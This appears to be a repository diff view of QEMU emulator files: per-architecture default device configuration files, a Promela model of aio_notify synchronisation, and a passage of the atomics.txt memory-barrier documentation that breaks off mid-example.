CONFIG_MC146818RTC=y
CONFIG_ISA_TESTDEV=y

View file

@ -0,0 +1,90 @@
# Default configuration for arm-softmmu
include pci.mak
include usb.mak
CONFIG_VGA=y
CONFIG_ISA_MMIO=y
CONFIG_NAND=y
CONFIG_ECC=y
CONFIG_SERIAL=y
CONFIG_PTIMER=y
CONFIG_SD=y
CONFIG_MAX7310=y
CONFIG_WM8750=y
CONFIG_TWL92230=y
CONFIG_TSC2005=y
CONFIG_LM832X=y
CONFIG_TMP105=y
CONFIG_STELLARIS=y
CONFIG_STELLARIS_INPUT=y
CONFIG_STELLARIS_ENET=y
CONFIG_SSD0303=y
CONFIG_SSD0323=y
CONFIG_ADS7846=y
CONFIG_MAX111X=y
CONFIG_SSI=y
CONFIG_SSI_SD=y
CONFIG_SSI_M25P80=y
CONFIG_LAN9118=y
CONFIG_SMC91C111=y
CONFIG_ALLWINNER_EMAC=y
CONFIG_DS1338=y
CONFIG_PFLASH_CFI01=y
CONFIG_PFLASH_CFI02=y
CONFIG_MICRODRIVE=y
CONFIG_USB_MUSB=y
CONFIG_ARM11MPCORE=y
CONFIG_A9MPCORE=y
CONFIG_A15MPCORE=y
CONFIG_ARM_GIC=y
CONFIG_ARM_GIC_KVM=$(CONFIG_KVM)
CONFIG_ARM_TIMER=y
CONFIG_ARM_MPTIMER=y
CONFIG_A9_GTIMER=y
CONFIG_PL011=y
CONFIG_PL022=y
CONFIG_PL031=y
CONFIG_PL041=y
CONFIG_PL050=y
CONFIG_PL061=y
CONFIG_PL080=y
CONFIG_PL110=y
CONFIG_PL181=y
CONFIG_PL190=y
CONFIG_PL310=y
CONFIG_PL330=y
CONFIG_CADENCE=y
CONFIG_XGMAC=y
CONFIG_EXYNOS4=y
CONFIG_PXA2XX=y
CONFIG_BITBANG_I2C=y
CONFIG_FRAMEBUFFER=y
CONFIG_XILINX_SPIPS=y
CONFIG_ARM11SCU=y
CONFIG_A9SCU=y
CONFIG_DIGIC=y
CONFIG_MARVELL_88W8618=y
CONFIG_OMAP=y
CONFIG_TSC210X=y
CONFIG_BLIZZARD=y
CONFIG_ONENAND=y
CONFIG_TUSB6010=y
CONFIG_IMX=y
CONFIG_MAINSTONE=y
CONFIG_NSERIES=y
CONFIG_REALVIEW=y
CONFIG_ZAURUS=y
CONFIG_ZYNQ=y
CONFIG_VERSATILE_PCI=y
CONFIG_VERSATILE_I2C=y
CONFIG_SDHCI=y
CONFIG_INTEGRATOR_DEBUG=y
CONFIG_ALLWINNER_A10_PIT=y
CONFIG_ALLWINNER_A10_PIC=y
CONFIG_ALLWINNER_A10=y

View file

@ -0,0 +1,6 @@
# Default configuration for cris-softmmu
CONFIG_ETRAXFS=y
CONFIG_NAND=y
CONFIG_PTIMER=y
CONFIG_PFLASH_CFI02=y

View file

@ -0,0 +1,47 @@
# Default configuration for i386-softmmu
include pci.mak
include sound.mak
include usb.mak
CONFIG_VGA=y
CONFIG_QXL=$(CONFIG_SPICE)
CONFIG_VGA_PCI=y
CONFIG_VGA_ISA=y
CONFIG_VGA_CIRRUS=y
CONFIG_VMWARE_VGA=y
CONFIG_VMMOUSE=y
CONFIG_SERIAL=y
CONFIG_PARALLEL=y
CONFIG_I8254=y
CONFIG_PCSPK=y
CONFIG_PCKBD=y
CONFIG_FDC=y
CONFIG_ACPI=y
CONFIG_APM=y
CONFIG_I8257=y
CONFIG_IDE_ISA=y
CONFIG_IDE_PIIX=y
CONFIG_NE2000_ISA=y
CONFIG_PIIX_PCI=y
CONFIG_HPET=y
CONFIG_APPLESMC=y
CONFIG_I8259=y
CONFIG_PFLASH_CFI01=y
CONFIG_TPM_TIS=$(CONFIG_TPM)
CONFIG_PCI_HOTPLUG_OLD=y
CONFIG_MC146818RTC=y
CONFIG_PAM=y
CONFIG_PCI_PIIX=y
CONFIG_WDT_IB700=y
CONFIG_XEN_I386=$(CONFIG_XEN)
CONFIG_ISA_DEBUG=y
CONFIG_ISA_TESTDEV=y
CONFIG_VMPORT=y
CONFIG_SGA=y
CONFIG_LPC_ICH9=y
CONFIG_PCI_Q35=y
CONFIG_APIC=y
CONFIG_IOAPIC=y
CONFIG_ICC_BUS=y
CONFIG_PVPANIC=y
CONFIG_MEM_HOTPLUG=y

View file

@ -0,0 +1,10 @@
# Default configuration for lm32-softmmu
CONFIG_LM32=y
CONFIG_MILKYMIST=y
CONFIG_MILKYMIST_TMU2=$(CONFIG_GLX)
CONFIG_FRAMEBUFFER=y
CONFIG_PTIMER=y
CONFIG_PFLASH_CFI01=y
CONFIG_PFLASH_CFI02=y
CONFIG_SD=y

View file

@ -0,0 +1,6 @@
# Default configuration for m68k-softmmu
include pci.mak
include usb.mak
CONFIG_COLDFIRE=y
CONFIG_PTIMER=y

View file

@ -0,0 +1,11 @@
# Default configuration for microblaze-softmmu
CONFIG_PTIMER=y
CONFIG_PFLASH_CFI01=y
CONFIG_SERIAL=y
CONFIG_XILINX=y
CONFIG_XILINX_AXI=y
CONFIG_XILINX_SPI=y
CONFIG_XILINX_ETHLITE=y
CONFIG_SSI=y
CONFIG_SSI_M25P80=y

View file

@ -0,0 +1,11 @@
# Default configuration for microblazeel-softmmu
CONFIG_PTIMER=y
CONFIG_PFLASH_CFI01=y
CONFIG_SERIAL=y
CONFIG_XILINX=y
CONFIG_XILINX_AXI=y
CONFIG_XILINX_SPI=y
CONFIG_XILINX_ETHLITE=y
CONFIG_SSI=y
CONFIG_SSI_M25P80=y

View file

@ -0,0 +1,36 @@
# Default configuration for mips-softmmu
include pci.mak
include sound.mak
include usb.mak
CONFIG_ESP=y
CONFIG_VGA=y
CONFIG_VGA_PCI=y
CONFIG_VGA_ISA=y
CONFIG_VGA_ISA_MM=y
CONFIG_VGA_CIRRUS=y
CONFIG_VMWARE_VGA=y
CONFIG_SERIAL=y
CONFIG_PARALLEL=y
CONFIG_I8254=y
CONFIG_PCSPK=y
CONFIG_PCKBD=y
CONFIG_FDC=y
CONFIG_ACPI=y
CONFIG_APM=y
CONFIG_I8257=y
CONFIG_PIIX4=y
CONFIG_IDE_ISA=y
CONFIG_IDE_PIIX=y
CONFIG_NE2000_ISA=y
CONFIG_RC4030=y
CONFIG_DP8393X=y
CONFIG_DS1225Y=y
CONFIG_MIPSNET=y
CONFIG_PFLASH_CFI01=y
CONFIG_G364FB=y
CONFIG_I8259=y
CONFIG_JAZZ_LED=y
CONFIG_MC146818RTC=y
CONFIG_ISA_TESTDEV=y
CONFIG_EMPTY_SLOT=y

View file

@ -0,0 +1,36 @@
# Default configuration for mips64-softmmu
include pci.mak
include sound.mak
include usb.mak
CONFIG_ESP=y
CONFIG_VGA=y
CONFIG_VGA_PCI=y
CONFIG_VGA_ISA=y
CONFIG_VGA_ISA_MM=y
CONFIG_VGA_CIRRUS=y
CONFIG_VMWARE_VGA=y
CONFIG_SERIAL=y
CONFIG_PARALLEL=y
CONFIG_I8254=y
CONFIG_PCSPK=y
CONFIG_PCKBD=y
CONFIG_FDC=y
CONFIG_ACPI=y
CONFIG_APM=y
CONFIG_I8257=y
CONFIG_PIIX4=y
CONFIG_IDE_ISA=y
CONFIG_IDE_PIIX=y
CONFIG_NE2000_ISA=y
CONFIG_RC4030=y
CONFIG_DP8393X=y
CONFIG_DS1225Y=y
CONFIG_MIPSNET=y
CONFIG_PFLASH_CFI01=y
CONFIG_G364FB=y
CONFIG_I8259=y
CONFIG_JAZZ_LED=y
CONFIG_MC146818RTC=y
CONFIG_ISA_TESTDEV=y
CONFIG_EMPTY_SLOT=y

View file

@ -0,0 +1,39 @@
# Default configuration for mips64el-softmmu
include pci.mak
include sound.mak
include usb.mak
CONFIG_ESP=y
CONFIG_VGA=y
CONFIG_VGA_PCI=y
CONFIG_VGA_ISA=y
CONFIG_VGA_ISA_MM=y
CONFIG_VGA_CIRRUS=y
CONFIG_VMWARE_VGA=y
CONFIG_SERIAL=y
CONFIG_PARALLEL=y
CONFIG_I8254=y
CONFIG_PCSPK=y
CONFIG_PCKBD=y
CONFIG_FDC=y
CONFIG_ACPI=y
CONFIG_APM=y
CONFIG_I8257=y
CONFIG_PIIX4=y
CONFIG_IDE_ISA=y
CONFIG_IDE_PIIX=y
CONFIG_IDE_VIA=y
CONFIG_NE2000_ISA=y
CONFIG_RC4030=y
CONFIG_DP8393X=y
CONFIG_DS1225Y=y
CONFIG_MIPSNET=y
CONFIG_PFLASH_CFI01=y
CONFIG_FULONG=y
CONFIG_G364FB=y
CONFIG_I8259=y
CONFIG_JAZZ_LED=y
CONFIG_MC146818RTC=y
CONFIG_VT82C686=y
CONFIG_ISA_TESTDEV=y
CONFIG_EMPTY_SLOT=y

View file

@ -0,0 +1,36 @@
# Default configuration for mipsel-softmmu
include pci.mak
include sound.mak
include usb.mak
CONFIG_ESP=y
CONFIG_VGA=y
CONFIG_VGA_PCI=y
CONFIG_VGA_ISA=y
CONFIG_VGA_ISA_MM=y
CONFIG_VGA_CIRRUS=y
CONFIG_VMWARE_VGA=y
CONFIG_SERIAL=y
CONFIG_PARALLEL=y
CONFIG_I8254=y
CONFIG_PCSPK=y
CONFIG_PCKBD=y
CONFIG_FDC=y
CONFIG_ACPI=y
CONFIG_APM=y
CONFIG_I8257=y
CONFIG_PIIX4=y
CONFIG_IDE_ISA=y
CONFIG_IDE_PIIX=y
CONFIG_NE2000_ISA=y
CONFIG_RC4030=y
CONFIG_DP8393X=y
CONFIG_DS1225Y=y
CONFIG_MIPSNET=y
CONFIG_PFLASH_CFI01=y
CONFIG_G364FB=y
CONFIG_I8259=y
CONFIG_JAZZ_LED=y
CONFIG_MC146818RTC=y
CONFIG_ISA_TESTDEV=y
CONFIG_EMPTY_SLOT=y

View file

@ -0,0 +1,5 @@
# Default configuration for moxie-softmmu
CONFIG_MC146818RTC=y
CONFIG_SERIAL=y
CONFIG_VGA=y

View file

@ -0,0 +1,4 @@
# Default configuration for or32-softmmu
CONFIG_SERIAL=y
CONFIG_OPENCORES_ETH=y

View file

@ -0,0 +1,32 @@
CONFIG_PCI=y
CONFIG_VIRTIO_PCI=y
CONFIG_VIRTIO=y
CONFIG_USB_UHCI=y
CONFIG_USB_OHCI=y
CONFIG_USB_EHCI=y
CONFIG_USB_XHCI=y
CONFIG_NE2000_PCI=y
CONFIG_EEPRO100_PCI=y
CONFIG_PCNET_PCI=y
CONFIG_PCNET_COMMON=y
CONFIG_AC97=y
CONFIG_HDA=y
CONFIG_ES1370=y
CONFIG_LSI_SCSI_PCI=y
CONFIG_VMW_PVSCSI_SCSI_PCI=y
CONFIG_MEGASAS_SCSI_PCI=y
CONFIG_RTL8139_PCI=y
CONFIG_E1000_PCI=y
CONFIG_VMXNET3_PCI=y
CONFIG_IDE_CORE=y
CONFIG_IDE_QDEV=y
CONFIG_IDE_PCI=y
CONFIG_AHCI=y
CONFIG_ESP=y
CONFIG_ESP_PCI=y
CONFIG_SERIAL=y
CONFIG_SERIAL_PCI=y
CONFIG_IPACK=y
CONFIG_WDT_IB6300ESB=y
CONFIG_PCI_TESTDEV=y
CONFIG_NVME_PCI=y

View file

@ -0,0 +1,52 @@
# Default configuration for ppc-softmmu
include pci.mak
include sound.mak
include usb.mak
CONFIG_ISA_MMIO=y
CONFIG_ESCC=y
CONFIG_M48T59=y
CONFIG_VGA=y
CONFIG_VGA_PCI=y
CONFIG_SERIAL=y
CONFIG_PARALLEL=y
CONFIG_I8254=y
CONFIG_PCKBD=y
CONFIG_FDC=y
CONFIG_I8257=y
CONFIG_I82374=y
CONFIG_OPENPIC=y
CONFIG_PREP_PCI=y
CONFIG_I82378=y
CONFIG_PC87312=y
CONFIG_MACIO=y
CONFIG_PCSPK=y
CONFIG_CUDA=y
CONFIG_ADB=y
CONFIG_MAC_NVRAM=y
CONFIG_MAC_DBDMA=y
CONFIG_HEATHROW_PIC=y
CONFIG_GRACKLE_PCI=y
CONFIG_UNIN_PCI=y
CONFIG_DEC_PCI=y
CONFIG_PPCE500_PCI=y
CONFIG_IDE_ISA=y
CONFIG_IDE_CMD646=y
CONFIG_IDE_MACIO=y
CONFIG_NE2000_ISA=y
CONFIG_PFLASH_CFI01=y
CONFIG_PFLASH_CFI02=y
CONFIG_PTIMER=y
CONFIG_I8259=y
CONFIG_XILINX=y
CONFIG_XILINX_ETHLITE=y
CONFIG_OPENPIC=y
CONFIG_PREP=y
CONFIG_MAC=y
CONFIG_E500=y
CONFIG_OPENPIC_KVM=$(and $(CONFIG_E500),$(CONFIG_KVM))
CONFIG_ETSEC=y
CONFIG_LIBDECNUMBER=y
# For PReP
CONFIG_MC146818RTC=y
CONFIG_ISA_TESTDEV=y

View file

@ -0,0 +1,62 @@
# Default configuration for ppc64-softmmu
include pci.mak
include sound.mak
include usb.mak
CONFIG_ISA_MMIO=y
CONFIG_ESCC=y
CONFIG_M48T59=y
CONFIG_VGA=y
CONFIG_VGA_PCI=y
CONFIG_SERIAL=y
CONFIG_PARALLEL=y
CONFIG_I8254=y
CONFIG_PCKBD=y
CONFIG_FDC=y
CONFIG_I8257=y
CONFIG_I82374=y
CONFIG_OPENPIC=y
CONFIG_PREP_PCI=y
CONFIG_I82378=y
CONFIG_PC87312=y
CONFIG_MACIO=y
CONFIG_PCSPK=y
CONFIG_CUDA=y
CONFIG_ADB=y
CONFIG_MAC_NVRAM=y
CONFIG_MAC_DBDMA=y
CONFIG_HEATHROW_PIC=y
CONFIG_GRACKLE_PCI=y
CONFIG_UNIN_PCI=y
CONFIG_DEC_PCI=y
CONFIG_PPCE500_PCI=y
CONFIG_IDE_ISA=y
CONFIG_IDE_CMD646=y
CONFIG_IDE_MACIO=y
CONFIG_NE2000_ISA=y
CONFIG_PFLASH_CFI01=y
CONFIG_PFLASH_CFI02=y
CONFIG_PTIMER=y
CONFIG_I8259=y
CONFIG_XILINX=y
CONFIG_XILINX_ETHLITE=y
CONFIG_OPENPIC=y
CONFIG_PSERIES=y
CONFIG_PREP=y
CONFIG_MAC=y
CONFIG_E500=y
CONFIG_OPENPIC_KVM=$(and $(CONFIG_E500),$(CONFIG_KVM))
CONFIG_ETSEC=y
CONFIG_LIBDECNUMBER=y
# For pSeries
CONFIG_XICS=$(CONFIG_PSERIES)
CONFIG_XICS_KVM=$(and $(CONFIG_PSERIES),$(CONFIG_KVM))
# For PReP
CONFIG_I82378=y
CONFIG_I8259=y
CONFIG_I8254=y
CONFIG_PCSPK=y
CONFIG_I82374=y
CONFIG_I8257=y
CONFIG_MC146818RTC=y
CONFIG_ISA_TESTDEV=y

View file

@ -0,0 +1,19 @@
# Default configuration for ppcemb-softmmu
include pci.mak
include sound.mak
include usb.mak
CONFIG_M48T59=y
CONFIG_VGA=y
CONFIG_VGA_PCI=y
CONFIG_SERIAL=y
CONFIG_I8257=y
CONFIG_OPENPIC=y
CONFIG_PFLASH_CFI01=y
CONFIG_PFLASH_CFI02=y
CONFIG_PTIMER=y
CONFIG_I8259=y
CONFIG_XILINX=y
CONFIG_XILINX_ETHLITE=y
CONFIG_OPENPIC=y
CONFIG_LIBDECNUMBER=y

View file

@ -0,0 +1,4 @@
CONFIG_VIRTIO=y
CONFIG_SCLPCONSOLE=y
CONFIG_S390_FLIC=y
CONFIG_S390_FLIC_KVM=$(CONFIG_KVM)

View file

@ -0,0 +1,18 @@
# Default configuration for sh4-softmmu
include pci.mak
include usb.mak
CONFIG_SERIAL=y
CONFIG_PTIMER=y
CONFIG_PFLASH_CFI02=y
CONFIG_SH4=y
CONFIG_IDE_MMIO=y
CONFIG_SM501=y
CONFIG_ISA_TESTDEV=y
CONFIG_I82378=y
CONFIG_I8259=y
CONFIG_I8254=y
CONFIG_PCSPK=y
CONFIG_I82374=y
CONFIG_I8257=y
CONFIG_MC146818RTC=y

View file

@ -0,0 +1,18 @@
# Default configuration for sh4eb-softmmu
include pci.mak
include usb.mak
CONFIG_SERIAL=y
CONFIG_PTIMER=y
CONFIG_PFLASH_CFI02=y
CONFIG_SH4=y
CONFIG_IDE_MMIO=y
CONFIG_SM501=y
CONFIG_ISA_TESTDEV=y
CONFIG_I82378=y
CONFIG_I8259=y
CONFIG_I8254=y
CONFIG_PCSPK=y
CONFIG_I82374=y
CONFIG_I8257=y
CONFIG_MC146818RTC=y

View file

@ -0,0 +1,4 @@
CONFIG_SB16=y
CONFIG_ADLIB=y
CONFIG_GUS=y
CONFIG_CS4231A=y

View file

@ -0,0 +1,19 @@
# Default configuration for sparc-softmmu
CONFIG_ECC=y
CONFIG_ESP=y
CONFIG_ESCC=y
CONFIG_M48T59=y
CONFIG_PTIMER=y
CONFIG_FDC=y
CONFIG_EMPTY_SLOT=y
CONFIG_PCNET_COMMON=y
CONFIG_LANCE=y
CONFIG_TCX=y
CONFIG_CG3=y
CONFIG_SLAVIO=y
CONFIG_CS4231=y
CONFIG_GRLIB=y
CONFIG_STP2000=y
CONFIG_ECCMEMCTL=y
CONFIG_SUN4M=y

View file

@ -0,0 +1,18 @@
# Default configuration for sparc64-softmmu
include pci.mak
include usb.mak
CONFIG_ISA_MMIO=y
CONFIG_M48T59=y
CONFIG_PTIMER=y
CONFIG_VGA=y
CONFIG_VGA_PCI=y
CONFIG_SERIAL=y
CONFIG_PARALLEL=y
CONFIG_PCKBD=y
CONFIG_FDC=y
CONFIG_IDE_ISA=y
CONFIG_IDE_CMD646=y
CONFIG_PCI_APB=y
CONFIG_MC146818RTC=y
CONFIG_ISA_TESTDEV=y

View file

View file

@ -0,0 +1,4 @@
# Default configuration for unicore32-softmmu
CONFIG_PUV3=y
CONFIG_PTIMER=y
CONFIG_PCKBD=y

View file

@ -0,0 +1,9 @@
CONFIG_USB_TABLET_WACOM=y
CONFIG_USB_STORAGE_BOT=y
CONFIG_USB_STORAGE_UAS=y
CONFIG_USB_STORAGE_MTP=y
CONFIG_USB_SMARTCARD=y
CONFIG_USB_AUDIO=y
CONFIG_USB_SERIAL=y
CONFIG_USB_NETWORK=y
CONFIG_USB_BLUETOOTH=y

View file

@ -0,0 +1,47 @@
# Default configuration for x86_64-softmmu
include pci.mak
include sound.mak
include usb.mak
CONFIG_VGA=y
CONFIG_QXL=$(CONFIG_SPICE)
CONFIG_VGA_PCI=y
CONFIG_VGA_ISA=y
CONFIG_VGA_CIRRUS=y
CONFIG_VMWARE_VGA=y
CONFIG_VMMOUSE=y
CONFIG_SERIAL=y
CONFIG_PARALLEL=y
CONFIG_I8254=y
CONFIG_PCSPK=y
CONFIG_PCKBD=y
CONFIG_FDC=y
CONFIG_ACPI=y
CONFIG_APM=y
CONFIG_I8257=y
CONFIG_IDE_ISA=y
CONFIG_IDE_PIIX=y
CONFIG_NE2000_ISA=y
CONFIG_PIIX_PCI=y
CONFIG_HPET=y
CONFIG_APPLESMC=y
CONFIG_I8259=y
CONFIG_PFLASH_CFI01=y
CONFIG_TPM_TIS=$(CONFIG_TPM)
CONFIG_PCI_HOTPLUG_OLD=y
CONFIG_MC146818RTC=y
CONFIG_PAM=y
CONFIG_PCI_PIIX=y
CONFIG_WDT_IB700=y
CONFIG_XEN_I386=$(CONFIG_XEN)
CONFIG_ISA_DEBUG=y
CONFIG_ISA_TESTDEV=y
CONFIG_VMPORT=y
CONFIG_SGA=y
CONFIG_LPC_ICH9=y
CONFIG_PCI_Q35=y
CONFIG_APIC=y
CONFIG_IOAPIC=y
CONFIG_ICC_BUS=y
CONFIG_PVPANIC=y
CONFIG_MEM_HOTPLUG=y

View file

@ -0,0 +1,5 @@
# Default configuration for Xtensa
CONFIG_SERIAL=y
CONFIG_OPENCORES_ETH=y
CONFIG_PFLASH_CFI01=y

View file

@ -0,0 +1,5 @@
# Default configuration for Xtensa
CONFIG_SERIAL=y
CONFIG_OPENCORES_ETH=y
CONFIG_PFLASH_CFI01=y

View file

@ -0,0 +1,104 @@
/*
* This model describes the interaction between aio_set_dispatching()
* and aio_notify().
*
* Author: Paolo Bonzini <pbonzini@redhat.com>
*
* This file is in the public domain. If you really want a license,
* the WTFPL will do.
*
* To simulate it:
* spin -p docs/aio_notify.promela
*
* To verify it:
* spin -a docs/aio_notify.promela
* gcc -O2 pan.c
* ./a.out -a
*/
#define MAX 4
#define LAST (1 << (MAX - 1))
#define FINAL ((LAST << 1) - 1)
bool dispatching;
bool event;
int req, done;
active proctype waiter()
{
int fetch, blocking;
do
:: done != FINAL -> {
// Computing "blocking" is separate from execution of the
// "bottom half"
blocking = (req == 0);
// This is our "bottom half"
atomic { fetch = req; req = 0; }
done = done | fetch;
// Wait for a nudge from the other side
do
:: event == 1 -> { event = 0; break; }
:: !blocking -> break;
od;
dispatching = 1;
// If you are simulating this model, you may want to add
// something like this here:
//
// int foo; foo++; foo++; foo++;
//
// This only wastes some time and makes it more likely
// that the notifier process hits the "fast path".
dispatching = 0;
}
:: else -> break;
od
}
active proctype notifier()
{
int next = 1;
int sets = 0;
do
:: next <= LAST -> {
// generate a request
req = req | next;
next = next << 1;
// aio_notify
if
:: dispatching == 0 -> sets++; event = 1;
:: else -> skip;
fi;
// Test both synchronous and asynchronous delivery
if
:: 1 -> do
:: req == 0 -> break;
od;
:: 1 -> skip;
fi;
}
:: else -> break;
od;
printf("Skipped %d event_notifier_set\n", MAX - sets);
}
#define p (done == FINAL)
never {
do
:: 1 // after an arbitrarily long prefix
:: p -> break // p becomes true
od;
do
:: !p -> accept: break // it then must remains true forever after
od
}

352
qemu/docs/atomics.txt Normal file
View file

@ -0,0 +1,352 @@
CPUs perform independent memory operations effectively in random order.
but this can be a problem for CPU-CPU interaction (including interactions
between QEMU and the guest). Multi-threaded programs use various tools
to instruct the compiler and the CPU to restrict the order to something
that is consistent with the expectations of the programmer.
The most basic tool is locking. Mutexes, condition variables and
semaphores are used in QEMU, and should be the default approach to
synchronization. Anything else is considerably harder, but it's
also justified more often than one would like. The two tools that
are provided by qemu/atomic.h are memory barriers and atomic operations.
Macros defined by qemu/atomic.h fall in three camps:
- compiler barriers: barrier();
- weak atomic access and manual memory barriers: atomic_read(),
atomic_set(), smp_rmb(), smp_wmb(), smp_mb(), smp_read_barrier_depends();
- sequentially consistent atomic access: everything else.
COMPILER MEMORY BARRIER
=======================
barrier() prevents the compiler from moving the memory accesses either
side of it to the other side. The compiler barrier has no direct effect
on the CPU, which may then reorder things however it wishes.
barrier() is mostly used within qemu/atomic.h itself. On some
architectures, CPU guarantees are strong enough that blocking compiler
optimizations already ensures the correct order of execution. In this
case, qemu/atomic.h will reduce stronger memory barriers to simple
compiler barriers.
Still, barrier() can be useful when writing code that can be interrupted
by signal handlers.
SEQUENTIALLY CONSISTENT ATOMIC ACCESS
=====================================
Most of the operations in the qemu/atomic.h header ensure *sequential
consistency*, where "the result of any execution is the same as if the
operations of all the processors were executed in some sequential order,
and the operations of each individual processor appear in this sequence
in the order specified by its program".
qemu/atomic.h provides the following set of atomic read-modify-write
operations:
void atomic_inc(ptr)
void atomic_dec(ptr)
void atomic_add(ptr, val)
void atomic_sub(ptr, val)
void atomic_and(ptr, val)
void atomic_or(ptr, val)
typeof(*ptr) atomic_fetch_inc(ptr)
typeof(*ptr) atomic_fetch_dec(ptr)
typeof(*ptr) atomic_fetch_add(ptr, val)
typeof(*ptr) atomic_fetch_sub(ptr, val)
typeof(*ptr) atomic_fetch_and(ptr, val)
typeof(*ptr) atomic_fetch_or(ptr, val)
typeof(*ptr) atomic_xchg(ptr, val
typeof(*ptr) atomic_cmpxchg(ptr, old, new)
all of which return the old value of *ptr. These operations are
polymorphic; they operate on any type that is as wide as an int.
Sequentially consistent loads and stores can be done using:
atomic_fetch_add(ptr, 0) for loads
atomic_xchg(ptr, val) for stores
However, they are quite expensive on some platforms, notably POWER and
ARM. Therefore, qemu/atomic.h provides two primitives with slightly
weaker constraints:
typeof(*ptr) atomic_mb_read(ptr)
void atomic_mb_set(ptr, val)
The semantics of these primitives map to Java volatile variables,
and are strongly related to memory barriers as used in the Linux
kernel (see below).
As long as you use atomic_mb_read and atomic_mb_set, accesses cannot
be reordered with each other, and it is also not possible to reorder
"normal" accesses around them.
However, and this is the important difference between
atomic_mb_read/atomic_mb_set and sequential consistency, it is important
for both threads to access the same volatile variable. It is not the
case that everything visible to thread A when it writes volatile field f
becomes visible to thread B after it reads volatile field g. The store
and load have to "match" (i.e., be performed on the same volatile
field) to achieve the right semantics.
These operations operate on any type that is as wide as an int or smaller.
WEAK ATOMIC ACCESS AND MANUAL MEMORY BARRIERS
=============================================
Compared to sequentially consistent atomic access, programming with
weaker consistency models can be considerably more complicated.
In general, if the algorithm you are writing includes both writes
and reads on the same side, it is generally simpler to use sequentially
consistent primitives.
When using this model, variables are accessed with atomic_read() and
atomic_set(), and restrictions to the ordering of accesses is enforced
using the smp_rmb(), smp_wmb(), smp_mb() and smp_read_barrier_depends()
memory barriers.
atomic_read() and atomic_set() prevents the compiler from using
optimizations that might otherwise optimize accesses out of existence
on the one hand, or that might create unsolicited accesses on the other.
In general this should not have any effect, because the same compiler
barriers are already implied by memory barriers. However, it is useful
to do so, because it tells readers which variables are shared with
other threads, and which are local to the current thread or protected
by other, more mundane means.
Memory barriers control the order of references to shared memory.
They come in four kinds:
- smp_rmb() guarantees that all the LOAD operations specified before
the barrier will appear to happen before all the LOAD operations
specified after the barrier with respect to the other components of
the system.
In other words, smp_rmb() puts a partial ordering on loads, but is not
required to have any effect on stores.
- smp_wmb() guarantees that all the STORE operations specified before
the barrier will appear to happen before all the STORE operations
specified after the barrier with respect to the other components of
the system.
In other words, smp_wmb() puts a partial ordering on stores, but is not
required to have any effect on loads.
- smp_mb() guarantees that all the LOAD and STORE operations specified
before the barrier will appear to happen before all the LOAD and
STORE operations specified after the barrier with respect to the other
components of the system.
smp_mb() puts a partial ordering on both loads and stores. It is
stronger than both a read and a write memory barrier; it implies both
smp_rmb() and smp_wmb(), but it also prevents STOREs coming before the
barrier from overtaking LOADs coming after the barrier and vice versa.
- smp_read_barrier_depends() is a weaker kind of read barrier. On
most processors, whenever two loads are performed such that the
second depends on the result of the first (e.g., the first load
retrieves the address to which the second load will be directed),
the processor will guarantee that the first LOAD will appear to happen
before the second with respect to the other components of the system.
However, this is not always true---for example, it was not true on
Alpha processors. Whenever this kind of access happens to shared
memory (that is not protected by a lock), a read barrier is needed,
and smp_read_barrier_depends() can be used instead of smp_rmb().
Note that the first load really has to have a _data_ dependency and not
a control dependency. If the address for the second load is dependent
on the first load, but the dependency is through a conditional rather
than actually loading the address itself, then it's a _control_
dependency and a full read barrier or better is required.
This is the set of barriers that is required *between* two atomic_read()
and atomic_set() operations to achieve sequential consistency:
| 2nd operation |
|-----------------------------------------|
1st operation | (after last) | atomic_read | atomic_set |
---------------+--------------+-------------+------------|
(before first) | | none | smp_wmb() |
---------------+--------------+-------------+------------|
atomic_read | smp_rmb() | smp_rmb()* | ** |
---------------+--------------+-------------+------------|
atomic_set | none | smp_mb()*** | smp_wmb() |
---------------+--------------+-------------+------------|
* Or smp_read_barrier_depends().
** This requires a load-store barrier. How to achieve this varies
depending on the machine, but in practice smp_rmb()+smp_wmb()
should have the desired effect. For example, on PowerPC the
lwsync instruction is a combined load-load, load-store and
store-store barrier.
*** This requires a store-load barrier. On most machines, the only
way to achieve this is a full barrier.
You can see that the two possible definitions of atomic_mb_read()
and atomic_mb_set() are the following:
1) atomic_mb_read(p) = atomic_read(p); smp_rmb()
atomic_mb_set(p, v) = smp_wmb(); atomic_set(p, v); smp_mb()
2) atomic_mb_read(p) = smp_mb() atomic_read(p); smp_rmb()
atomic_mb_set(p, v) = smp_wmb(); atomic_set(p, v);
Usually the former is used, because smp_mb() is expensive and a program
normally has more reads than writes. Therefore it makes more sense to
make atomic_mb_set() the more expensive operation.
There are two common cases in which atomic_mb_read and atomic_mb_set
generate too many memory barriers, and thus it can be useful to manually
place barriers instead:
- when a data structure has one thread that is always a writer
and one thread that is always a reader, manual placement of
memory barriers makes the write side faster. Furthermore,
correctness is easy to check for in this case using the "pairing"
trick that is explained below:
thread 1 thread 1
------------------------- ------------------------
(other writes)
smp_wmb()
atomic_mb_set(&a, x) atomic_set(&a, x)
smp_wmb()
atomic_mb_set(&b, y) atomic_set(&b, y)
=>
thread 2 thread 2
------------------------- ------------------------
y = atomic_mb_read(&b) y = atomic_read(&b)
smp_rmb()
x = atomic_mb_read(&a) x = atomic_read(&a)
smp_rmb()
- sometimes, a thread is accessing many variables that are otherwise
unrelated to each other (for example because, apart from the current
thread, exactly one other thread will read or write each of these
variables). In this case, it is possible to "hoist" the implicit
barriers provided by atomic_mb_read() and atomic_mb_set() outside
a loop. For example, the above definition atomic_mb_read() gives
the following transformation:
n = 0; n = 0;
for (i = 0; i < 10; i++) => for (i = 0; i < 10; i++)
n += atomic_mb_read(&a[i]); n += atomic_read(&a[i]);
smp_rmb();
Similarly, atomic_mb_set() can be transformed as follows:
smp_mb():
smp_wmb();
for (i = 0; i < 10; i++) => for (i = 0; i < 10; i++)
atomic_mb_set(&a[i], false); atomic_set(&a[i], false);
smp_mb();
The two tricks can be combined. In this case, splitting a loop in
two lets you hoist the barriers out of the loops _and_ eliminate the
expensive smp_mb():
smp_wmb();
for (i = 0; i < 10; i++) { => for (i = 0; i < 10; i++)
atomic_mb_set(&a[i], false); atomic_set(&a[i], false);
atomic_mb_set(&b[i], false); smb_wmb();
} for (i = 0; i < 10; i++)
atomic_set(&a[i], false);
smp_mb();
The other thread can still use atomic_mb_read()/atomic_mb_set()
Memory barrier pairing
----------------------
A useful rule of thumb is that memory barriers should always, or almost
always, be paired with another barrier. In the case of QEMU, however,
note that the other barrier may actually be in a driver that runs in
the guest!
For the purposes of pairing, smp_read_barrier_depends() and smp_rmb()
both count as read barriers. A read barriers shall pair with a write
barrier or a full barrier; a write barrier shall pair with a read
barrier or a full barrier. A full barrier can pair with anything.
For example:
thread 1 thread 2
=============== ===============
a = 1;
smp_wmb();
